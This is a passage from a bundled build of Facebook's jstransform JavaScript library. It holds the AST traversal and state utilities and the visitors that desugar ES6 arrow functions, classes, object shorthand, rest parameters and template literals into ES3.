state.localScope.identifiers['arguments'] = true;
// Include function arg identifiers in the scope boundaries of the
// function
if (parentNode.params.length > 0) {
var param;
for (var i = 0; i < parentNode.params.length; i++) {
param = parentNode.params[i];
if (param.type === Syntax.Identifier) {
state.localScope.identifiers[param.name] = true;
}
}
}
// Named FunctionExpressions scope their name within the body block of
// themselves only
if (parentNode.type === Syntax.FunctionExpression && parentNode.id) {
state.localScope.identifiers[parentNode.id.name] = true;
}
}
// Traverse and find all local identifiers in this closure first to
// account for function/variable declaration hoisting
collectClosureIdentsAndTraverse(node, path, state);
}
if (_nodeIsBlockScopeBoundary(node, parentNode)) {
state = utils.updateState(state, {
localScope: {
parentNode: parentNode,
parentScope: state.localScope,
identifiers: {}
}
});
if (parentNode.type === Syntax.CatchClause) {
state.localScope.identifiers[parentNode.param.name] = true;
}
collectBlockIdentsAndTraverse(node, path, state);
}
}
// Only catchup() before and after traversing a child node
function traverser(node, path, state) {
node.range && utils.catchup(node.range[0], state);
traverse(node, path, state);
node.range && utils.catchup(node.range[1], state);
}
utils.analyzeAndTraverse(walker, traverser, node, path, state);
}
function collectClosureIdentsAndTraverse(node, path, state) {
utils.analyzeAndTraverse(
visitLocalClosureIdentifiers,
collectClosureIdentsAndTraverse,
node,
path,
state
);
}
function collectBlockIdentsAndTraverse(node, path, state) {
utils.analyzeAndTraverse(
visitLocalBlockIdentifiers,
collectBlockIdentsAndTraverse,
node,
path,
state
);
}
function visitLocalClosureIdentifiers(node, path, state) {
var identifiers = state.localScope.identifiers;
switch (node.type) {
case Syntax.FunctionExpression:
// Function expressions don't get their names (if there is one) added to
// the closure scope they're defined in
return false;
case Syntax.ClassDeclaration:
case Syntax.ClassExpression:
case Syntax.FunctionDeclaration:
if (node.id) {
identifiers[node.id.name] = true;
}
return false;
case Syntax.VariableDeclarator:
if (path[0].kind === 'var') {
identifiers[node.id.name] = true;
}
break;
}
}
function visitLocalBlockIdentifiers(node, path, state) {
// TODO: Support 'let' here...maybe...one day...or something...
if (node.type === Syntax.CatchClause) {
return false;
}
}
function walker(node, path, state) {
var visitors = state.g.visitors;
for (var i = 0; i < visitors.length; i++) {
if (visitors[i].test(node, path, state)) {
return visitors[i](traverse, node, path, state);
}
}
}
/**
* Applies all available transformations to the source
* @param {array} visitors
* @param {string} source
* @param {?object} options
* @return {object}
*/
function transform(visitors, source, options) {
options = options || {};
var ast;
try {
ast = esprima.parse(source, {
comment: true,
loc: true,
range: true
});
} catch (e) {
e.message = 'Parse Error: ' + e.message;
throw e;
}
var state = utils.createState(source, ast, options);
state.g.visitors = visitors;
if (options.sourceMap) {
var SourceMapGenerator = _dereq_('source-map').SourceMapGenerator;
state.g.sourceMap = new SourceMapGenerator({file: 'transformed.js'});
}
traverse(ast, [], state);
utils.catchup(source.length, state);
var ret = {code: state.g.buffer};
if (options.sourceMap) {
ret.sourceMap = state.g.sourceMap;
ret.sourceMapFilename = options.filename || 'source.js';
}
return ret;
}
exports.transform = transform;
},{"./utils":20,"esprima-fb":6,"source-map":8}],20:[function(_dereq_,module,exports){
/**
* Copyright 2013 Facebook, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/*jslint node: true*/
/**
* A `state` object represents the state of the parser. It has "local" and
* "global" parts. Global contains parser position, source, etc. Local contains
* scope based properties like current class name. State should contain all the
* info required for transformation. It's the only mandatory object that is
* being passed to every function in transform chain.
*
* @param {string} source
* @param {object} transformOptions
* @return {object}
*/
function createState(source, rootNode, transformOptions) {
return {
/**
* A tree representing the current local scope (and its lexical scope chain)
* Useful for tracking identifiers from parent scopes, etc.
* @type {Object}
*/
localScope: {
parentNode: rootNode,
parentScope: null,
identifiers: {}
},
/**
* The name (and, if applicable, expression) of the super class
* @type {Object}
*/
superClass: null,
/**
* The namespace to use when munging identifiers
* @type {String}
*/
mungeNamespace: '',
/**
* Ref to the node for the FunctionExpression of the enclosing
* MethodDefinition
* @type {Object}
*/
methodFuncNode: null,
/**
* Name of the enclosing class
* @type {String}
*/
className: null,
/**
* Whether we're currently within a `strict` scope
* @type {Bool}
*/
scopeIsStrict: null,
/**
* Global state (not affected by updateState)
* @type {Object}
*/
g: {
/**
* A set of general options that transformations can consider while doing
* a transformation:
*
* - minify
* Specifies that transformation steps should do their best to minify
* the output source when possible. This is useful for places where
* minification optimizations are possible with higher-level context
* info than what jsxmin can provide.
*
* For example, the ES6 class transform will minify munged private
* variables if this flag is set.
*/
opts: transformOptions,
/**
* Current position in the source code
* @type {Number}
*/
position: 0,
/**
* Buffer containing the result
* @type {String}
*/
buffer: '',
/**
* Indentation offset (only negative offset is supported now)
* @type {Number}
*/
indentBy: 0,
/**
* Source that is being transformed
* @type {String}
*/
source: source,
/**
* Cached parsed docblock (see getDocblock)
* @type {object}
*/
docblock: null,
/**
* Whether the thing was used
* @type {Boolean}
*/
tagNamespaceUsed: false,
/**
* If using bolt xjs transformation
* @type {Boolean}
*/
isBolt: undefined,
/**
* Whether to record source map (expensive) or not
* @type {SourceMapGenerator|null}
*/
sourceMap: null,
/**
* Filename of the file being processed. Will be returned as a source
* attribute in the source map
*/
sourceMapFilename: 'source.js',
/**
* Only when source map is used: last line in the source for which
* source map was generated
* @type {Number}
*/
sourceLine: 1,
/**
* Only when source map is used: last line in the buffer for which
* source map was generated
* @type {Number}
*/
bufferLine: 1,
/**
* The top-level Program AST for the original file.
*/
originalProgramAST: null,
sourceColumn: 0,
bufferColumn: 0
}
};
}
/**
* Updates a copy of a given state with "update" and returns an updated state.
*
* @param {object} state
* @param {object} update
* @return {object}
*/
function updateState(state, update) {
var ret = Object.create(state);
Object.keys(update).forEach(function(updatedKey) {
ret[updatedKey] = update[updatedKey];
});
return ret;
}
/**
* Given a state fill the resulting buffer from the original source up to
* the end
*
* @param {number} end
* @param {object} state
* @param {?function} contentTransformer Optional callback to transform newly
* added content.
*/
function catchup(end, state, contentTransformer) {
if (end < state.g.position) {
// cannot move backwards
return;
}
var source = state.g.source.substring(state.g.position, end);
var transformed = updateIndent(source, state);
if (state.g.sourceMap && transformed) {
// record where we are
state.g.sourceMap.addMapping({
generated: { line: state.g.bufferLine, column: state.g.bufferColumn },
original: { line: state.g.sourceLine, column: state.g.sourceColumn },
source: state.g.sourceMapFilename
});
// record line breaks in transformed source
var sourceLines = source.split('\n');
var transformedLines = transformed.split('\n');
// Add line break mappings between last known mapping and the end of the
// added piece. So for the code piece
// (foo, bar);
// > var x = 2;
// > var b = 3;
// var c =
// only add lines marked with ">": 2, 3.
for (var i = 1; i < sourceLines.length - 1; i++) {
state.g.sourceMap.addMapping({
generated: { line: state.g.bufferLine, column: 0 },
original: { line: state.g.sourceLine, column: 0 },
source: state.g.sourceMapFilename
});
state.g.sourceLine++;
state.g.bufferLine++;
}
// offset for the last piece
if (sourceLines.length > 1) {
state.g.sourceLine++;
state.g.bufferLine++;
state.g.sourceColumn = 0;
state.g.bufferColumn = 0;
}
state.g.sourceColumn += sourceLines[sourceLines.length - 1].length;
state.g.bufferColumn +=
transformedLines[transformedLines.length - 1].length;
}
state.g.buffer +=
contentTransformer ? contentTransformer(transformed) : transformed;
state.g.position = end;
}
/**
* Removes all non-whitespace characters
*/
var reNonWhite = /(\S)/g;
function stripNonWhite(value) {
return value.replace(reNonWhite, function() {
return '';
});
}
/**
* Catches up as `catchup` but removes all non-whitespace characters.
*/
function catchupWhiteSpace(end, state) {
catchup(end, state, stripNonWhite);
}
/**
* Removes all non-newline characters
*/
var reNonNewline = /[^\n]/g;
function stripNonNewline(value) {
return value.replace(reNonNewline, function() {
return '';
});
}
/**
* Catches up as `catchup` but removes all non-newline characters.
*
* Equivalent to appending as many newlines as there are in the original source
* between the current position and `end`.
*/
function catchupNewlines(end, state) {
catchup(end, state, stripNonNewline);
}
/**
* Same as catchup but does not touch the buffer
*
* @param {number} end
* @param {object} state
*/
function move(end, state) {
// move the internal cursors
if (state.g.sourceMap) {
if (end < state.g.position) {
state.g.position = 0;
state.g.sourceLine = 1;
state.g.sourceColumn = 0;
}
var source = state.g.source.substring(state.g.position, end);
var sourceLines = source.split('\n');
if (sourceLines.length > 1) {
state.g.sourceLine += sourceLines.length - 1;
state.g.sourceColumn = 0;
}
state.g.sourceColumn += sourceLines[sourceLines.length - 1].length;
}
state.g.position = end;
}
/**
* Appends a string of text to the buffer
*
* @param {string} str
* @param {object} state
*/
function append(str, state) {
if (state.g.sourceMap && str) {
state.g.sourceMap.addMapping({
generated: { line: state.g.bufferLine, column: state.g.bufferColumn },
original: { line: state.g.sourceLine, column: state.g.sourceColumn },
source: state.g.sourceMapFilename
});
var transformedLines = str.split('\n');
if (transformedLines.length > 1) {
state.g.bufferLine += transformedLines.length - 1;
state.g.bufferColumn = 0;
}
state.g.bufferColumn +=
transformedLines[transformedLines.length - 1].length;
}
state.g.buffer += str;
}
/**
* Update indent using state.indentBy property. Indent is measured in
* double spaces. Updates a single line only.
*
* @param {string} str
* @param {object} state
* @return {string}
*/
function updateIndent(str, state) {
for (var i = 0; i < -state.g.indentBy; i++) {
str = str.replace(/(^|\n)( {2}|\t)/g, '$1');
}
return str;
}
/**
* Calculates indent from the beginning of the line until "start" or the first
* character before start.
* @example
* " foo.bar()"
* ^
* start
* indent will be 2
*
* @param {number} start
* @param {object} state
* @return {number}
*/
function indentBefore(start, state) {
var end = start;
start = start - 1;
while (start > 0 && state.g.source[start] != '\n') {
if (!state.g.source[start].match(/[ \t]/)) {
end = start;
}
start--;
}
return state.g.source.substring(start + 1, end);
}
function getDocblock(state) {
if (!state.g.docblock) {
var docblock = _dereq_('./docblock');
state.g.docblock =
docblock.parseAsObject(docblock.extract(state.g.source));
}
return state.g.docblock;
}
function identWithinLexicalScope(identName, state, stopBeforeNode) {
var currScope = state.localScope;
while (currScope) {
if (currScope.identifiers[identName] !== undefined) {
return true;
}
if (stopBeforeNode && currScope.parentNode === stopBeforeNode) {
break;
}
currScope = currScope.parentScope;
}
return false;
}
function identInLocalScope(identName, state) {
return state.localScope.identifiers[identName] !== undefined;
}
function declareIdentInLocalScope(identName, state) {
state.localScope.identifiers[identName] = true;
}
/**
* Apply the given analyzer function to the current node. If the analyzer
* doesn't return false, traverse each child of the current node using the given
* traverser function.
*
* @param {function} analyzer
* @param {function} traverser
* @param {object} node
* @param {function} visitor
* @param {array} path
* @param {object} state
*/
function analyzeAndTraverse(analyzer, traverser, node, path, state) {
var key, child;
if (node.type) {
if (analyzer(node, path, state) === false) {
return;
}
path.unshift(node);
}
for (key in node) {
// skip obviously wrong attributes
if (key === 'range' || key === 'loc') {
continue;
}
if (node.hasOwnProperty(key)) {
child = node[key];
if (typeof child === 'object' && child !== null) {
traverser(child, path, state);
}
}
}
node.type && path.shift();
}
/**
* Checks whether a node or any of its sub-nodes contains
* a syntactic construct of the passed type.
* @param {object} node - AST node to test.
* @param {string} type - node type to lookup.
*/
function containsChildOfType(node, type) {
var foundMatchingChild = false;
function nodeTypeAnalyzer(node) {
if (node.type === type) {
foundMatchingChild = true;
return false;
}
}
function nodeTypeTraverser(child, path, state) {
if (!foundMatchingChild) {
foundMatchingChild = containsChildOfType(child, type);
}
}
analyzeAndTraverse(
nodeTypeAnalyzer,
nodeTypeTraverser,
node,
[]
);
return foundMatchingChild;
}
exports.append = append;
exports.catchup = catchup;
exports.catchupWhiteSpace = catchupWhiteSpace;
exports.catchupNewlines = catchupNewlines;
exports.containsChildOfType = containsChildOfType;
exports.createState = createState;
exports.declareIdentInLocalScope = declareIdentInLocalScope;
exports.getDocblock = getDocblock;
exports.identWithinLexicalScope = identWithinLexicalScope;
exports.identInLocalScope = identInLocalScope;
exports.indentBefore = indentBefore;
exports.move = move;
exports.updateIndent = updateIndent;
exports.updateState = updateState;
exports.analyzeAndTraverse = analyzeAndTraverse;
},{"./docblock":18}],21:[function(_dereq_,module,exports){
/**
* Copyright 2013 Facebook, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/*global exports:true*/
/**
* Desugars ES6 Arrow functions to ES3 function expressions.
* If the function contains `this` expression -- automatically
* binds the funciton to current value of `this`.
*
* Single parameter, simple expression:
*
* [1, 2, 3].map(x => x * x);
*
* [1, 2, 3].map(function(x) { return x * x; });
*
* Several parameters, complex block:
*
* this.users.forEach((user, idx) => {
* return this.isActive(idx) && this.send(user);
* });
*
* this.users.forEach(function(user, idx) {
* return this.isActive(idx) && this.send(user);
* }.bind(this));
*
*/
var restParamVisitors = _dereq_('./es6-rest-param-visitors');
var Syntax = _dereq_('esprima-fb').Syntax;
var utils = _dereq_('../src/utils');
/**
* @public
*/
function visitArrowFunction(traverse, node, path, state) {
// Prologue.
utils.append('function', state);
renderParams(node, state);
// Skip arrow.
utils.catchupWhiteSpace(node.body.range[0], state);
var renderBody = node.body.type == Syntax.BlockStatement
? renderStatementBody
: renderExpressionBody;
path.unshift(node);
renderBody(traverse, node, path, state);
path.shift();
// Bind the function only if `this` value is used
// inside it or inside any sub-expression.
if (utils.containsChildOfType(node.body, Syntax.ThisExpression)) {
utils.append('.bind(this)', state);
}
return false;
}
function renderParams(node, state) {
// To preserve inline typechecking directives, we
// distinguish between parens-free and paranthesized single param.
if (isParensFreeSingleParam(node, state) || !node.params.length) {
utils.append('(', state);
}
if (node.params.length !== 0) {
utils.catchup(node.params[node.params.length - 1].range[1], state);
}
utils.append(')', state);
}
function isParensFreeSingleParam(node, state) {
return node.params.length === 1 &&
state.g.source[state.g.position] !== '(';
}
function renderExpressionBody(traverse, node, path, state) {
// Wrap simple expression bodies into a block
// with explicit return statement.
utils.append('{', state);
if (node.rest) {
utils.append(
restParamVisitors.renderRestParamSetup(node),
state
);
}
utils.append('return ', state);
renderStatementBody(traverse, node, path, state);
utils.append(';}', state);
}
function renderStatementBody(traverse, node, path, state) {
traverse(node.body, path, state);
utils.catchup(node.body.range[1], state);
}
visitArrowFunction.test = function(node, path, state) {
return node.type === Syntax.ArrowFunctionExpression;
};
exports.visitorList = [
visitArrowFunction
];
},{"../src/utils":20,"./es6-rest-param-visitors":24,"esprima-fb":6}],22:[function(_dereq_,module,exports){
/**
* Copyright 2013 Facebook, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/*jslint node:true*/
/**
* @typechecks
*/
'use strict';
var base62 = _dereq_('base62');
var Syntax = _dereq_('esprima-fb').Syntax;
var utils = _dereq_('../src/utils');
var SUPER_PROTO_IDENT_PREFIX = '____SuperProtoOf';
var _anonClassUUIDCounter = 0;
var _mungedSymbolMaps = {};
/**
* Used to generate a unique class for use with code-gens for anonymous class
* expressions.
*
* @param {object} state
* @return {string}
*/
function _generateAnonymousClassName(state) {
var mungeNamespace = state.mungeNamespace || '';
return '____Class' + mungeNamespace + base62.encode(_anonClassUUIDCounter++);
}
/**
* Given an identifier name, munge it using the current state's mungeNamespace.
*
* @param {string} identName
* @param {object} state
* @return {string}
*/
function _getMungedName(identName, state) {
var mungeNamespace = state.mungeNamespace;
var shouldMinify = state.g.opts.minify;
if (shouldMinify) {
if (!_mungedSymbolMaps[mungeNamespace]) {
_mungedSymbolMaps[mungeNamespace] = {
symbolMap: {},
identUUIDCounter: 0
};
}
var symbolMap = _mungedSymbolMaps[mungeNamespace].symbolMap;
if (!symbolMap[identName]) {
symbolMap[identName] =
base62.encode(_mungedSymbolMaps[mungeNamespace].identUUIDCounter++);
}
identName = symbolMap[identName];
}
return '$' + mungeNamespace + identName;
}
/**
* Extracts super class information from a class node.
*
* Information includes name of the super class and/or the expression string
* (if extending from an expression)
*
* @param {object} node
* @param {object} state
* @return {object}
*/
function _getSuperClassInfo(node, state) {
var ret = {
name: null,
expression: null
};
if (node.superClass) {
if (node.superClass.type === Syntax.Identifier) {
ret.name = node.superClass.name;
} else {
// Extension from an expression
ret.name = _generateAnonymousClassName(state);
ret.expression = state.g.source.substring(
node.superClass.range[0],
node.superClass.range[1]
);
}
}
return ret;
}
/**
* Used with .filter() to find the constructor method in a list of
* MethodDefinition nodes.
*
* @param {object} classElement
* @return {boolean}
*/
function _isConstructorMethod(classElement) {
return classElement.type === Syntax.MethodDefinition &&
classElement.key.type === Syntax.Identifier &&
classElement.key.name === 'constructor';
}
/**
* @param {object} node
* @param {object} state
* @return {boolean}
*/
function _shouldMungeIdentifier(node, state) {
return (
!!state.methodFuncNode &&
!utils.getDocblock(state).hasOwnProperty('preventMunge') &&
/^_(?!_)/.test(node.name)
);
}
/**
* @param {function} traverse
* @param {object} node
* @param {array} path
* @param {object} state
*/
function visitClassMethod(traverse, node, path, state) {
utils.catchup(node.range[0], state);
path.unshift(node);
traverse(node.value, path, state);
path.shift();
return false;
}
visitClassMethod.test = function(node, path, state) {
return node.type === Syntax.MethodDefinition;
};
/**
* @param {function} traverse
* @param {object} node
* @param {array} path
* @param {object} state
*/
function visitClassFunctionExpression(traverse, node, path, state) {
var methodNode = path[0];
state = utils.updateState(state, {
methodFuncNode: node
});
if (methodNode.key.name === 'constructor') {
utils.append('function ' + state.className, state);
} else {
var methodName = methodNode.key.name;
if (_shouldMungeIdentifier(methodNode.key, state)) {
methodName = _getMungedName(methodName, state);
}
var prototypeOrStatic = methodNode["static"] ? '' : 'prototype.';
utils.append(
state.className + '.' + prototypeOrStatic + methodName + '=function',
state
);
}
utils.move(methodNode.key.range[1], state);
var params = node.params;
var paramName;
if (params.length > 0) {
for (var i = 0; i < params.length; i++) {
utils.catchup(node.params[i].range[0], state);
paramName = params[i].name;
if (_shouldMungeIdentifier(params[i], state)) {
paramName = _getMungedName(params[i].name, state);
}
utils.append(paramName, state);
utils.move(params[i].range[1], state);
}
} else {
utils.append('(', state);
}
utils.append(')', state);
utils.catchupWhiteSpace(node.body.range[0], state);
utils.append('{', state);
if (!state.scopeIsStrict) {
utils.append('"use strict";', state);
}
utils.move(node.body.range[0] + '{'.length, state);
path.unshift(node);
traverse(node.body, path, state);
path.shift();
utils.catchup(node.body.range[1], state);
if (methodNode.key.name !== 'constructor') {
utils.append(';', state);
}
return false;
}
visitClassFunctionExpression.test = function(node, path, state) {
return node.type === Syntax.FunctionExpression
&& path[0].type === Syntax.MethodDefinition;
};
/**
* @param {function} traverse
* @param {object} node
* @param {array} path
* @param {object} state
*/
function _renderClassBody(traverse, node, path, state) {
var className = state.className;
var superClass = state.superClass;
// Set up prototype of constructor on same line as `extends` for line-number
// preservation. This relies on function-hoisting if a constructor function is
// defined in the class body.
if (superClass.name) {
// If the super class is an expression, we need to memoize the output of the
// expression into the generated class name variable and use that to refer
// to the super class going forward. Example:
//
// class Foo extends mixin(Bar, Baz) {}
// --transforms to--
// function Foo() {} var ____Class0Blah = mixin(Bar, Baz);
if (superClass.expression !== null) {
utils.append(
'var ' + superClass.name + '=' + superClass.expression + ';',
state
);
}
var keyName = superClass.name + '____Key';
var keyNameDeclarator = '';
if (!utils.identWithinLexicalScope(keyName, state)) {
keyNameDeclarator = 'var ';
utils.declareIdentInLocalScope(keyName, state);
}
utils.append(
'for(' + keyNameDeclarator + keyName + ' in ' + superClass.name + '){' +
'if(' + superClass.name + '.hasOwnProperty(' + keyName + ')){' +
className + '[' + keyName + ']=' +
superClass.name + '[' + keyName + '];' +
'}' +
'}',
state
);
var superProtoIdentStr = SUPER_PROTO_IDENT_PREFIX + superClass.name;
if (!utils.identWithinLexicalScope(superProtoIdentStr, state)) {
utils.append(
'var ' + superProtoIdentStr + '=' + superClass.name + '===null?' +
'null:' + superClass.name + '.prototype;',
state
);
utils.declareIdentInLocalScope(superProtoIdentStr, state);
}
utils.append(
className + '.prototype=Object.create(' + superProtoIdentStr + ');',
state
);
utils.append(
className + '.prototype.constructor=' + className + ';',
state
);
utils.append(
className + '.__superConstructor__=' + superClass.name + ';',
state
);
}
// If there's no constructor method specified in the class body, create an
// empty constructor function at the top (same line as the class keyword)
if (!node.body.body.filter(_isConstructorMethod).pop()) {
utils.append('function ' + className + '(){', state);
if (!state.scopeIsStrict) {
utils.append('"use strict";', state);
}
if (superClass.name) {
utils.append(
'if(' + superClass.name + '!==null){' +
superClass.name + '.apply(this,arguments);}',
state
);
}
utils.append('}', state);
}
utils.move(node.body.range[0] + '{'.length, state);
traverse(node.body, path, state);
utils.catchupWhiteSpace(node.range[1], state);
}
/**
* @param {function} traverse
* @param {object} node
* @param {array} path
* @param {object} state
*/
function visitClassDeclaration(traverse, node, path, state) {
var className = node.id.name;
var superClass = _getSuperClassInfo(node, state);
state = utils.updateState(state, {
mungeNamespace: className,
className: className,
superClass: superClass
});
_renderClassBody(traverse, node, path, state);
return false;
}
visitClassDeclaration.test = function(node, path, state) {
return node.type === Syntax.ClassDeclaration;
};
/**
* @param {function} traverse
* @param {object} node
* @param {array} path
* @param {object} state
*/
function visitClassExpression(traverse, node, path, state) {
var className = node.id && node.id.name || _generateAnonymousClassName(state);
var superClass = _getSuperClassInfo(node, state);
utils.append('(function(){', state);
state = utils.updateState(state, {
mungeNamespace: className,
className: className,
superClass: superClass
});
_renderClassBody(traverse, node, path, state);
utils.append('return ' + className + ';})()', state);
return false;
}
visitClassExpression.test = function(node, path, state) {
return node.type === Syntax.ClassExpression;
};
/**
* @param {function} traverse
* @param {object} node
* @param {array} path
* @param {object} state
*/
function visitPrivateIdentifier(traverse, node, path, state) {
utils.append(_getMungedName(node.name, state), state);
utils.move(node.range[1], state);
}
visitPrivateIdentifier.test = function(node, path, state) {
if (node.type === Syntax.Identifier && _shouldMungeIdentifier(node, state)) {
// Always munge non-computed properties of MemberExpressions
// (a la preventing access of properties of unowned objects)
if (path[0].type === Syntax.MemberExpression && path[0].object !== node
&& path[0].computed === false) {
return true;
}
// Always munge identifiers that were declared within the method function
// scope
if (utils.identWithinLexicalScope(node.name, state, state.methodFuncNode)) {
return true;
}
// Always munge private keys on object literals defined within a method's
// scope.
if (path[0].type === Syntax.Property
&& path[1].type === Syntax.ObjectExpression) {
return true;
}
// Always munge function parameters
if (path[0].type === Syntax.FunctionExpression
|| path[0].type === Syntax.FunctionDeclaration) {
for (var i = 0; i < path[0].params.length; i++) {
if (path[0].params[i] === node) {
return true;
}
}
}
}
return false;
};
/**
* @param {function} traverse
* @param {object} node
* @param {array} path
* @param {object} state
*/
function visitSuperCallExpression(traverse, node, path, state) {
var superClassName = state.superClass.name;
if (node.callee.type === Syntax.Identifier) {
utils.append(superClassName + '.call(', state);
utils.move(node.callee.range[1], state);
} else if (node.callee.type === Syntax.MemberExpression) {
utils.append(SUPER_PROTO_IDENT_PREFIX + superClassName, state);
utils.move(node.callee.object.range[1], state);
if (node.callee.computed) {
// ["a" + "b"]
utils.catchup(node.callee.property.range[1] + ']'.length, state);
} else {
// .ab
utils.append('.' + node.callee.property.name, state);
}
utils.append('.call(', state);
utils.move(node.callee.range[1], state);
}
utils.append('this', state);
if (node.arguments.length > 0) {
utils.append(',', state);
utils.catchupWhiteSpace(node.arguments[0].range[0], state);
traverse(node.arguments, path, state);
}
utils.catchupWhiteSpace(node.range[1], state);
utils.append(')', state);
return false;
}
visitSuperCallExpression.test = function(node, path, state) {
if (state.superClass && node.type === Syntax.CallExpression) {
var callee = node.callee;
if (callee.type === Syntax.Identifier && callee.name === 'super'
|| callee.type == Syntax.MemberExpression
&& callee.object.name === 'super') {
return true;
}
}
return false;
};
/**
* @param {function} traverse
* @param {object} node
* @param {array} path
* @param {object} state
*/
function visitSuperMemberExpression(traverse, node, path, state) {
var superClassName = state.superClass.name;
utils.append(SUPER_PROTO_IDENT_PREFIX + superClassName, state);
utils.move(node.object.range[1], state);
}
visitSuperMemberExpression.test = function(node, path, state) {
return state.superClass
&& node.type === Syntax.MemberExpression
&& node.object.type === Syntax.Identifier
&& node.object.name === 'super';
};
exports.visitorList = [
visitClassDeclaration,
visitClassExpression,
visitClassFunctionExpression,
visitClassMethod,
visitPrivateIdentifier,
visitSuperCallExpression,
visitSuperMemberExpression
];
},{"../src/utils":20,"base62":7,"esprima-fb":6}],23:[function(_dereq_,module,exports){
/**
* Copyright 2013 Facebook, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/*jslint node: true*/
/**
* Desugars ES6 Object Literal short notations into ES3 full notation.
*
* // Easier return values.
* function foo(x, y) {
* return {x, y}; // {x: x, y: y}
* };
*
* // Destrucruting.
* function init({port, ip, coords: {x, y}}) { ... }
*
*/
var Syntax = _dereq_('esprima-fb').Syntax;
var utils = _dereq_('../src/utils');
/**
* @public
*/
function visitObjectLiteralShortNotation(traverse, node, path, state) {
utils.catchup(node.key.range[1], state);
utils.append(':' + node.key.name, state);
return false;
}
visitObjectLiteralShortNotation.test = function(node, path, state) {
return node.type === Syntax.Property &&
node.kind === 'init' &&
node.shorthand === true;
};
exports.visitorList = [
visitObjectLiteralShortNotation
];
},{"../src/utils":20,"esprima-fb":6}],24:[function(_dereq_,module,exports){
/**
* Copyright 2013 Facebook, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/*jslint node:true*/
/**
* Desugars ES6 rest parameters into ES3 arguments slicing.
*
* function printf(template, ...args) {
* args.forEach(...);
* };
*
* function printf(template) {
* var args = [].slice.call(arguments, 1);
* args.forEach(...);
* };
*
*/
var Syntax = _dereq_('esprima-fb').Syntax;
var utils = _dereq_('../src/utils');
function _nodeIsFunctionWithRestParam(node) {
return (node.type === Syntax.FunctionDeclaration
|| node.type === Syntax.FunctionExpression
|| node.type === Syntax.ArrowFunctionExpression)
&& node.rest;
}
function visitFunctionParamsWithRestParam(traverse, node, path, state) {
// Render params.
if (node.params.length) {
utils.catchup(node.params[node.params.length - 1].range[1], state);
} else {
// -3 is for ... of the rest.
utils.catchup(node.rest.range[0] - 3, state);
}
utils.catchupWhiteSpace(node.rest.range[1], state);
}
visitFunctionParamsWithRestParam.test = function(node, path, state) {
return _nodeIsFunctionWithRestParam(node);
};
function renderRestParamSetup(functionNode) {
return 'var ' + functionNode.rest.name + '=Array.prototype.slice.call(' +
'arguments,' +
functionNode.params.length +
');';
}
function visitFunctionBodyWithRestParam(traverse, node, path, state) {
utils.catchup(node.range[0] + 1, state);
var parentNode = path[0];
utils.append(renderRestParamSetup(parentNode), state);
traverse(node.body, path, state);
return false;
}
visitFunctionBodyWithRestParam.test = function(node, path, state) {
return node.type === Syntax.BlockStatement
&& _nodeIsFunctionWithRestParam(path[0]);
};
exports.renderRestParamSetup = renderRestParamSetup;
exports.visitorList = [
visitFunctionParamsWithRestParam,
visitFunctionBodyWithRestParam
];
},{"../src/utils":20,"esprima-fb":6}],25:[function(_dereq_,module,exports){
/**
* Copyright 2013 Facebook, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/*jslint node:true*/
/**
* @typechecks
*/
'use strict';
var Syntax = _dereq_('esprima-fb').Syntax;
var utils = _dereq_('../src/utils');
/**
* http://people.mozilla.org/~jorendorff/es6-draft.html#sec-12.1.9
*/
function visitTemplateLiteral(traverse, node, path, state) {
var templateElements = node.quasis;
utils.append('(', state);
for (var ii = 0; ii < templateElements.length; ii++) {
var templateElement = templateElements[ii];
if (templateElement.value.raw !== '') {
utils.append(getCookedValue(templateElement), state);
if (!templateElement.tail) {
// + between element and substitution
utils.append(' + ', state);
}
// maintain line numbers
utils.move(templateElement.range[0], state);
utils.catchupNewlines(templateElement.range[1], state);
}
utils.move(templateElement.range[1], state);
if (!templateElement.tail) {
var substitution = node.expressions[ii];
if (substitution.type === Syntax.Identifier ||
substitution.type === Syntax.MemberExpression ||
substitution.type === Syntax.CallExpression) {
utils.catchup(substitution.range[1], state);
} else {
utils.append('(', state);
traverse(substitution, path, state);
utils.catchup(substitution.range[1], state);
utils.append(')', state);
}
// if next templateElement isn't empty...
if (templateElements[ii + 1].value.cooked !== '') {
utils.append(' + ', state);
}
}
}
utils.move(node.range[1], state);
utils.append(')', state);
return false;
}
